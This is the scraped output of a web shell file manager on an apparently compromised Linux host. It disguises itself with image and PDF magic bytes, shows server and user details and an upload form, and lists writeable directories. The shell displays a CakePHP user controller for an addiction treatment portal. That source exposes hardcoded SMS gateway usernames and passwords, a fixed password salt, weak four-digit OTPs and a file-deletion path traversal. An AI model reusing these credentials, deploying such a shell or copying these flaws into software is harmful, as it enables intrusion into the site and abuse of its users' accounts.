%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/notification/cgi-bin/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/notification/cgi-bin/src/Controller/UsersController.php
<?php
namespace App\Controller;
use Cake\Core\Configure;
use Cake\Network\Exception\ForbiddenException;
use Cake\Network\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;
use Cake\Event\Event;
use Cake\Network\Session\DatabaseSession;
use Cake\Validation\Validator;
use App\Model\Validation\PictureValidator;
use App\Model\Validation\LoginValidator;
use App\Model\Validation\ProfileValidator;
use Cake\Utility\Security;
use Cake\ORM\Table;
use Cake\ORM\Entity;
use Cake\Auth\DefaultPasswordHasher;
use Cake\Mailer\Email;

class UsersController extends AppController
{
public function beforeFilter(Event $event)
{
    parent::beforeFilter($event);
	$this->loadModel("cities");
	$querycities = $this->cities->find('all', ['conditions' => ['action' => 'YES'],'order' => 'name'])->enableHydration(false);
	$this->set('querycities', $querycities);
	
	$this->loadModel("treatments");	
	$treatmentsvalue = $this->treatments->find('all', ['conditions' => ['action' => 'YES'],'order' => 'name'])->enableHydration(false);
	$this->set(compact('treatmentsvalue'));	
	
	$treatmentsoptions=$this->treatments->find('list',['keyField' => 'name','valueField' => 'name','conditions' => ['action' => 'YES'],'order'=>'treatments.name']);
	$this->set(compact('treatmentsoptions'));
	
	$this->loadModel("leads");			
	$totalleads=$this->leads->find('all',['conditions' => array('approved' => 'YES','visible' => 'YES','purchased'=>'')])->count();
	$this->set(compact('totalleads'));
}

public function login()
{
	if($this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	if ($this->request->is('post')) {
	if (empty($errors)) {
	$this->loadModel("centres");
	$auserlogin = $this->centres->find('all', ['conditions' => ['username' => $this->request->getData('username'),'password' =>hash('gost', $this->request->getData('password').'67hb*-/852@'),'action'=>'YES'],])->enableHydration(false);
	$this->set(compact('auserlogin'));
	if (!$auserlogin->isEmpty()) 
	{
	$this->request->getSession()->write('adminname',$this->request->getData('username'));	
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	} else {
    $this->set('errors', $errors);
    }
	}
}

public function register()
{
	if($this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	$this->loadModel("centres");
	
	$this->loadModel("cities");	
	$cityoptions=$this->cities->find('list',['keyField' => 'name','valueField' => 'name','conditions' => ['action' => 'YES'],'order'=>'cities.name']);
	$this->set(compact('cityoptions'));
	
	$this->loadModel("treatments");	
	$treatmentsoptions=$this->treatments->find('list',['keyField' => 'name','valueField' => 'name','conditions' => ['action' => 'YES'],'order'=>'treatments.name'])->toArray();
	$this->set(compact('treatmentsoptions'));
	//pr($treatmentsoptions);die;
		
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	if ($this->request->is('post')) {
	if (empty($errors)) {
	$centreduplicate=$this->centres->find('all',['conditions' => array('username' => $this->request->getData('username'))]);
	$this->set(compact('centreduplicate'));
	$centreduplicate = $centreduplicate->toArray();
	if(!empty($centreduplicate))
	{
	$errors['username']['_empty']='USERNAME OR EMAIL ALREADY EXIST';
	}	
	}
	
	if (empty($errors)) {
	$otp=rand(1111,9999);
	$password=hash('gost', $this->request->getData('password').'67hb*-/852@');
	if(!empty($this->request->getData('email'))){
	$msg="Addiction Free India Portal Account Created";
	$msg="COMPLETE ACTIVATION BY VERIFY YOUR ACCOUNT";
	$msg=$msg."<table border='1' width='100%'>";
	$msg=$msg."<tr><td>Phone</td><td>".$this->request->getData('username')."</td></tr>";
	$msg=$msg."<tr><td>OTP</td><td>".$otp."</td></tr>";
	//$msg=$msg."<tr><td>PASSWORD</td><td>".$this->request->getData('password')."</td></tr>";
	$msg=$msg."<tr><td>Treatment</td><td>".$this->request->getData('treatment')."</td></tr>";
	$msg=$msg."<tr><td>City</td><td>".$this->request->getData('city')."</td></tr>";
    $msg=$msg."<tr><td>Center Name</td><td>".$this->request->getData('name')."</td></tr>";
    $msg=$msg."<tr><td>Ownername</td><td>".$this->request->getData('ownername')."</td></tr>";
    $msg=$msg."<tr><td>Whatsapp</td><td>".$this->request->getData('whatsapp')."</td></tr>";
    $msg=$msg."<tr><td>Email</td><td>".$this->request->getData('email')."</td></tr>";
    $msg=$msg."<tr><td>Address</td><td>".$this->request->getData('address')."</td></tr>";
    $msg=$msg."<tr><td>Googlemap</td><td>".$this->request->getData('googlemap')."</td></tr>";
    $msg=$msg."<tr><td>Just Dial</td><td>".$this->request->getData('justdial')."</td></tr>";
    $msg=$msg."<tr><td>Sulekha</td><td>".$this->request->getData('sulekha')."</td></tr>";
    $msg=$msg."<tr><td>Facebook</td><td>".$this->request->getData('facebook')."</td></tr>";
    $msg=$msg."<tr><td>Instagram</td><td>".$this->request->getData('instagram')."</td></tr>";
    $msg=$msg."<tr><td>youtube</td><td>".$this->request->getData('youtube')."</td></tr>";
    $msg=$msg."<tr><td>Established Year</td><td>".$this->request->getData('established')."</td></tr>";
    $msg=$msg."<tr><td>About</td><td>".$this->request->getData('about')."</td></tr>";
    
    $msg=$msg."<tr><td>Picture</td><td>".$this->request->getData('picture')."</td></tr>";
    $msg=$msg."<tr><td>Picture 2</td><td>".$this->request->getData('picture2')."</td></tr>";
    $msg=$msg."<tr><td>Picture 3</td><td>".$this->request->getData('picture3')."</td></tr>";
    $msg=$msg."<tr><td>Picture 4</td><td>".$this->request->getData('picture4')."</td></tr>";
    
    $msg=$msg."<tr><td>Picture 5</td><td>".$this->request->getData('picture5')."</td></tr>";
    $msg=$msg."<tr><td>Picture 6</td><td>".$this->request->getData('picture6')."</td></tr>";
    $msg=$msg."<tr><td>Picture 7</td><td>".$this->request->getData('picture7')."</td></tr>";
    $msg=$msg."<tr><td>Picture 8</td><td>".$this->request->getData('picture8')."</td></tr>";
	$msg=$msg."</table>";
	$email = new Email('default');
    $email
    ->transport('webmail')
	->from('nashamuktiportal@gmail.com')
    ->to($this->request->getData('email'))
    ->subject('Addiction Free India Portal Account Created')
    ->emailFormat('html')
    ->viewVars(array('msg' => $msg))
    ->send($msg);	
	}
	
	//$contents = file_get_contents("http://smsdigital.in/httpapi/smsapi?uname=gdigital&password=password963&sender=GDIGTL&receiver=".$_REQUEST['username']."&route=T1&msgtype=1&sms=NASHA%20MUKTI%20ACCOUNT%20CREATED%20USE%20OTP%0A".$otp);
//	$contents = file_get_contents("http://www.smsdigital.in/httpapi/smsapi?uname=babaji&password=babaji123&sender=DTBABA&receiver=".$_REQUEST['username']."&route=P1&msgtype=1&sms=NASHA%20MUKTI%20ACCOUNT%20CREATED%20USE%20OTP%0A".$otp);
	$contents = file_get_contents("http://www.smsdigital.in/httpapi/smsapi?uname=babaji&password=babaji123&sender=DTBABA&receiver=".$_REQUEST['username']."&route=P1&msgtype=1&tid=1707166158223908971".$otp);

	$savecentres = $this->centres->newEntity();
	$savecentres = $this->centres->patchEntity($savecentres,['otp'=>$otp,'username'=>strtoupper($this->request->getData('username')),'name'=>$this->request->getData('name'),'email'=>$this->request->getData('email'),'ownername'=>$this->request->getData('ownername'),'treatment'=>$this->request->getData('treatment'),'whatsapp'=>$this->request->getData('whatsapp'),'googlemap'=>$this->request->getData('googlemap'),'justdial'=>$this->request->getData('justdial'),'sulekha'=>$this->request->getData('sulekha'),'facebook'=>$this->request->getData('facebook'),'instagram'=>$this->request->getData('instagram'),'youtube'=>$this->request->getData('youtube'),'address'=>$this->request->getData('address'),'city'=>$this->request->getData('city'),'password'=>$password]);
	$this->centres->save($savecentres);	

	return $this->redirect(array('controller'=>'users','action'=>'verify',$this->request->getData('username')));		
	} else {
    $this->set('errors', $errors);
    }
	}
}

public function verify($username)
{
	if($this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	$this->loadModel("centres");
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	if ($this->request->is('post')) {
	if (empty($errors)) {
	$auserlogin = $this->centres->find('all', ['conditions' => ['username' => $username,'otp' =>$this->request->getData('otp')]])->enableHydration(false);
	$this->set(compact('auserlogin'));
	if (!$auserlogin->isEmpty()) 
	{
	$savecentres = $this->centres->updateAll(['otp'=>rand(1111,9999),'action'=>'YES'],['username' => $username]);
	$this->request->getSession()->write('adminname',$username);	
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));			
	}
	} else {
    $this->set('errors', $errors);
    }
	}
	$this->set('username',$username);
}

public function forgot()
{
	if($this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	$this->loadModel("centres");
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	if ($this->request->is('post')) {
	if (empty($errors)) {
	$auserlogin = $this->centres->find('all', ['conditions' => ['username' => $this->request->getData('username')]])->enableHydration(false);
	$this->set(compact('auserlogin'));

	if (!$auserlogin->isEmpty()) 
	{
	$otp=rand(1111,9999);
	$contents = file_get_contents("http://smsdigital.in/httpapi/smsapi?uname=gdigital&password=password963&sender=GDIGTL&receiver=".$_REQUEST['username']."&route=T1&msgtype=1&sms=SOMEONE%20REQUEST%20TO%20RESET%20YOUR%20PASSWORD%20IF%20IT%20WAS%20YOU%20USE%20BELLOW%20OTP%20ELSE%20NEVER%20SHARE%20WITH%20ANYONE%0A".$otp);
	$savecentres = $this->centres->updateAll(['otp'=>$otp],['username' => $this->request->getData('username')]);
	$auserlogin = $auserlogin->toArray();
	if(!empty($auserlogin[0]['email']))
	{	
	$msg="NASHA MUKTI FORGOT PASSWORD";
	$msg="SOMEONE REQUEST TO RESET YOUR PASSWORD IF IT WAS YOU USE BELLOW OTP ELSE NEVER SHARE WITH ANYONE";
	$msg=$msg."<table border='1' width='100%'>";
	$msg=$msg."<tr><td>OTP</td><td>".$otp."</td></tr>";
	$msg=$msg."</table>";

	$email = new Email('default');
    $email
    ->transport('webmail')
	->from('nashamuktiportal@gmail.com')
    ->to($auserlogin[0]['email'])
    ->subject('NASHA MUKTI ACCOUNT CREATED')
    ->emailFormat('html')
    ->viewVars(array('msg' => $msg))
    ->send($msg);	
	}
	return $this->redirect(array('controller'=>'users','action'=>'resetpassword',$this->request->getData('username')));			
	}
	} else {
    $this->set('errors', $errors);
    }
	}
	$this->set('username',$username);
}

public function resetpassword($username)
{

	$this->loadModel("centres");
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	if ($this->request->is('post')) {
	if (empty($errors)) {
	$centreduplicate=$this->centres->find('all',['conditions' => array('username' => $username,'otp' => $this->request->getData('otp'))]);
	$this->set(compact('centreduplicate'));
	$centreduplicate = $centreduplicate->toArray();
	if(empty($centreduplicate))
	{
	$errors['otp']['_empty']='OTP MISMATCH';
	}
	}
	if (empty($errors)) {
	$savecentres = $this->centres->updateAll(['otp'=>rand(1111,9999),'password' =>hash('gost', $this->request->getData('password').'67hb*-/852@'),'action'=>'YES'],['username' => $username]);
	$this->request->getSession()->write('adminname',$username);	
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));			
	} else {
    $this->set('errors', $errors);
    }
	}
	$this->set('username',$username);
}

public function myaccount() {
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->viewBuilder()->layout('centre');
	$this->loadModel("leads");	
	$this->paginate = array('all','conditions' => ['approved' => 'YES','visible' => 'YES','purchased'=>''],'order'=>(['date' => 'DESC']),'limit' => 100);
	$this->set('exploreleads',$this->paginate('leads'));
}

public function profile() {
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->viewBuilder()->layout('centre');
	$this->loadModel("centres");	
	$centre=$this->centres->find('all',['conditions' => array('username' => $this->request->getsession()->read('adminname'))]);
	$this->set(compact('centre'));
	
	if ($this->request->is('post') AND empty($errors)) {
	$validator = new ProfileValidator();
	$errors = $validator->errors($this->request->getData());
	if(empty($errors)) {
	$savemeetings = $this->centres->updateAll(['name'=>trim($this->request->getData('name')),'ownername'=>trim($this->request->getData('ownername')),'established'=>trim($this->request->getData('established')),'phone'=>trim($this->request->getData('phone')),'whatsapp'=>trim($this->request->getData('whatsapp')),'email'=>trim($this->request->getData('email')),'address'=>trim($this->request->getData('address')),'about'=>trim($this->request->getData('about')),'picture'=>trim($this->request->getData('picture')),'picture2'=>trim($this->request->getData('picture2')),'picture3'=>trim($this->request->getData('picture3')),'city'=>trim($this->request->getData('city')),'address'=>trim($this->request->getData('address'))],['username' => $this->request->getsession()->read('adminname')]);
	}
    $this->set('errors', $errors);	
	}
}

public function treatments() {
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->viewBuilder()->layout('centre');
	$this->loadModel("centres");	
	$centre = $this->centres->find('all',['fields'=>array('centres.treatment'),'conditions' => ['username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('centre'));
	
	$this->loadModel("treatments");	
	$treatment = $this->treatments->find('all',['fields'=>array('treatments.name')]);
	$this->set(compact('treatment'));
	
	if ($this->request->is('post')) {
	$treatment='';	
	foreach ($this->request->getData('treatment') as $v){
	$treatment = $treatment.$v.'__';
	}	
	$savemeetings = $this->centres->updateAll(['treatment'=>$treatment],['username' => $this->request->getsession()->read('adminname')]);
	}
}

public function photo() {
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->viewBuilder()->layout('centre');
	$this->loadModel("centres");	
	$centre = $this->centres->find('all',['fields'=>array('centres.picture','centres.picture2','centres.picture3','centres.picture4',),'conditions' => ['username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('centre'));

	if ($this->request->is('post')) {
	$validator = new PictureValidator();
	$errors = $validator->errors($this->request->getData());
	if(empty($errors)) {
	if(!empty($this->request->getData('picture')['name']))
	{
	$ext=pathinfo($this->request->getData('picture')['name'], PATHINFO_EXTENSION);
	$picture = strtotime(date('m/d/Y h:i:s a', time()))*rand(1, 5).'.'.$ext;
	if($ext=='jpg' or $ext=='jpeg' or $ext=='png'){
	move_uploaded_file($this->request->getData('picture')['tmp_name'], WWW_ROOT.'img/'. $picture);
	}
	}
	$savemeetings = $this->centres->updateAll([$this->request->getData('value')=>$picture],['username' => $this->request->getsession()->read('adminname')]);
	}
    $this->set('errors', $errors);	
	}
}

public function photoremove($value,$picture) {
	$this->loadModel("centres");		
	$savemeetings = $this->centres->updateAll([$value=>''],['username' => $this->request->getsession()->read('adminname')]);
	if(!empty($savemeetings))
	{
	unlink('img/'.$picture);
	}
	return $this->redirect(array('controller'=>'users','action'=>'photo'));
}

public function password() {
	$this->viewBuilder()->layout('centre');	
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	if ($this->request->is('post')) {
	$validator = new LoginValidator();
	$errors = $validator->errors($this->request->getData());
	
	if($this->request->getData('password')!=$this->request->getData('cpassword'))
	{
	$errors['mismatch']['_empty']='PASSWORD OR CONFIRM PASSWORD MISMATCH';		
	}		
	if (empty($errors)) {
	$this->loadModel("centres");		
	$savecentres = $this->centres->updateAll(['password'=>hash('gost', $this->request->getData('password').'67hb*-/852@')],['username' => $this->request->getsession()->read('adminname')]);		
	}else {
    $this->set('errors', $errors);
    }	
	}
}

public function wallet() {
	$this->viewBuilder()->layout('centre');	
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->loadModel("payments");	
	$querypayment = $this->payments->find('all',['fields'=>array('points'=>'SUM(payments.points)'),'conditions' => ['status'=>'success','username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('querypayment'));
	$this->loadModel("orders");	
	$queryorder = $this->orders->find('all',['fields'=>array('points'=>'SUM(orders.points)'),'conditions' => ['username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('queryorder'));
	
	if ($this->request->is('post')) {
	$orderid = strtotime(date('m/d/Y h:i:s a', time()));
	$orderid=$orderid*rand(125, 300);
	$savepayments = $this->payments->newEntity();
	$savepayments = $this->payments->patchEntity($savepayments,['username'=>$this->request->getsession()->read('adminname'),'orderid'=>$orderid,'amount'=>$this->request->getData('amount'),'points'=>$this->request->getData('points'),'date'=>date('Y-m-d'),]);
	$this->payments->save($savepayments);		
	$this->redirect('http://addictionfreeindia.in/pay/index.php?username='.$this->request->getsession()->read('adminname').'&orderid='.$orderid);
	}
}

public function purchase() {
	$this->viewBuilder()->layout('centre');	
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->loadModel("payments");		
	$querypayment=$this->payments->find('all',['conditions' => array('status'=>'success','username' => $this->request->getsession()->read('adminname'))]);
	$this->set(compact('querypayment'));
}	

public function orders() {
	$this->viewBuilder()->layout('centre');	
	if(!$this->request->getsession()->check('adminname')){
	return $this->redirect(array('controller'=>'pages','action'=>'home'));	
	}
	$this->loadModel("leads");		
	$this->loadModel("orders");		
	
	$queryorders = $this->orders->find('all',['fields'=>array('leads.heading','leads.treatment','leads.name','leads.email','leads.phone','leads.city','leads.message','leads.points','orders.date'),'conditions' => ['orders.username' => $this->request->getsession()->read('adminname')]])
   ->order(['orders.date' => 'DESC'])
	->join([
	'meetings' => ['table' => 'leads','type' => 'LEFT','alias' => 'leads','conditions' => array('orders.lead = leads.mykey')],
	]);
	$this->set('queryorders',$queryorders);	
}

public function buy($mykey)
{
	$this->viewBuilder()->layout('centre');	

	$this->loadModel("orders");
	$queryalreadyorder = $this->orders->find('all',['conditions' => ['lead' => $mykey]]);
	$this->set(compact('queryalreadyorder'));
	$queryalreadyorder = $queryalreadyorder->toArray();
	if(!empty($queryalreadyorder)){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}

	$queryorder = $this->orders->find('all',['fields'=>array('points'=>'SUM(orders.points)'),'conditions' => ['username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('queryorder'));
	$queryorder = $queryorder->toArray();
	if(!empty($queryalreadyorder)){
	return $this->redirect(array('controller'=>'users','action'=>'myaccount'));	
	}
	
	$this->loadModel("payments");	
	$querypayment = $this->payments->find('all',['fields'=>array('points'=>'SUM(payments.points)'),'conditions' => ['status'=>'success','username' => $this->request->getsession()->read('adminname')]]);
	$this->set(compact('querypayment'));
	$querypayment = $querypayment->toArray();
	
	$this->loadModel("leads");	
	$queryleads=$this->leads->find('all',['conditions' => array('mykey' => $mykey)]);
	$this->set(compact('queryleads'));
	$queryleads = $queryleads->toArray();
	if(($querypayment[0]['points']-$queryleads[0]['points'])>0)
	{
	$saveorders = $this->orders->newEntity();
	$saveorders = $this->orders->patchEntity($saveorders,['username'=>$this->request->getsession()->read('adminname'),'lead'=>$mykey,'points'=>$queryleads[0]['points'],'date'=>date('Y-m-d'),]);
	$this->orders->save($saveorders);
	$savecentres = $this->leads->updateAll(['visible'=>'NO','purchased'=>$this->request->getsession()->read('adminname')],['mykey' => $mykey]);
	}
}

public function logout() {
$this->request->getSession()->destroy();
return $this->redirect(array('controller'=>'pages','action'=>'home'));
}

}
?> 

VaKeR 2022